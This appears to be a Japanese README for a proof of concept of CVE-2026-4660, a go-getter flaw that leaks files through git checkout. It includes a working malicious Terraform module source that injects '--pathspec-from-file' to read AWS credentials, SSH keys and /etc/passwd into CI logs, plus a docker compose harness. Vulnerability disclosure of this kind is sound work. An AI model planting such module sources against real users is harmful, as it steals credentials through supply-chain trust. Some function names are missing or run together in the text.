
PoC for CVE-2026-4660: hashicorp/go-getter の git checkout を介した任意ファイル読み取り
CVE-2026-4660(HashiCorp アドバイザリ)の hashicorp/go-getter に対する概念実証です。私は元の報告者です。
攻撃者は、ref に --pathspec-from-file=/path/to/file を指定した Terraform モジュールを公開します。被害者が terraform init を実行すると、go-getter がリポジトリをクローンし、git checkout --pathspec-from-file=/path/to/file を呼び出します。Git は対象ファイルを1行ずつ読み取り、各行を pathspec として失敗し、その内容をエラー出力に出力します。悪意のある ref は攻撃者のモジュールソース内にあり、被害者自身の設定には含まれません。terraform init はモジュールのダウンロードエラーで失敗します。認証情報の値は、出力内の git pathspec エラーに埋め込まれた形で表示されます。apply は不要です。
この脆弱性は go-getter ライブラリの2つのコードパスに存在します。clone() は宛先ディレクトリが存在しない場合に実行され、update() は存在する場合に実行されます。どちらも同じ を呼び出します。 はエラー時に を遅延実行しますが、 は実行しないため、チェックアウト失敗後もディレクトリは残ります。
checkout()clone()os.RemoveAll(dst)update()Terraform のモジュールインストーラ(initwd/module_install.go:251)は、go-getter を呼び出す前に常に宛先に対して os.RemoveAll を実行するため、Terraform は常に clone() をトリガーします。Packer、Nomad、および go-getter の API を既存ディレクトリに対して直接呼び出すツールは、代わりに update() をトリガーします。PoC は両方のパスを示しています。
go-getter を使用するすべてのツールに影響します。例:Terraform、Nomad、Packer、Waypoint。
修正バージョン: go-getter v1.8.6(2026-04-10 時点で修正を組み込んだ Terraform リリースはまだありません) 深刻度: 7.5 High(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
攻撃者は、GitHub 上に正規に見える Terraform モジュール(たとえば、実際に動作するコードを含む AWS VPC モジュール)を公開します。その内部に、悪意のある ref を指定した別の攻撃者管理リポジトリを指すサブモジュールソースが埋め込まれています:
# 攻撃者のモジュール内。被害者はこのファイルを読むことはない
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
被害者はトップレベルのモジュールを自分の設定に追加します:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
被害者はローカルまたは CI で terraform init を実行します。go-getter はトップレベルのモジュールをクローンし、ネストされたサブモジュールを見つけてそれもクローンし、git checkout --pathspec-from-file=/home/runner/.aws/credentials を呼び出します。Git がファイルを読み取り、その内容が terraform のエラー出力に表示されます:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
注:[default] は、-no-color を指定しても terraform の colorstring レンダラーによって(スタイルリセットトークンとして解釈され)除去され、実際の出力では空の pathspec '' として表示されます。PoC 内の生の git checkout 出力には、改変されていない内容が表示されます。
この攻撃は認証情報ファイルに限定されません。プロセスが読み取り可能な任意のファイルが対象となります:/etc/passwd、CI トークンファイル、アプリケーション設定、ランナーからアクセス可能なあらゆるもの。PoC は ~/.aws/credentials、~/.ssh/id_rsa、/etc/passwd を示しています。
GitHub Actions、CircleCI、または terraform init の出力をログに記録する CI システムでは、それらのログはリポジトリへのアクセス権を持つ全員が閲覧でき、多くの場合、有効期限なしでログ集約サービス(Datadog、Splunk など)にエクスポートされます。被害者の AWS 認証情報、SSH キー、またはランナーが読み取り可能なその他のファイルは、ログ履歴に残ります。被害者にはビルド失敗が見えますが、認証情報の値は git エラーのように見えるものの中に埋め込まれています。
docker compose up --build
2つのコンテナ:gitserver は攻撃者のベア git リポジトリを HTTP で提供し、poc は runner ユーザーとして、~/.aws/credentials、~/.ssh/id_rsa に偽の認証情報、および読み取り可能な /etc/passwd を持って実行されます。フェーズ1では terraform init を実行し、clone() パスを示します。センチネルチェックにより、失敗時に clone() の遅延 RemoveAll によってモジュールディレクトリが削除されることを確認します。フェーズ2では、go-getter の update() 呼び出しシーケンス(fetch + checkout)を直接実行し、同じ checkout() の脆弱性が発動し、update() に RemoveAll の遅延がないことと整合的に、ディレクトリが残ることを示します。操作は不要です。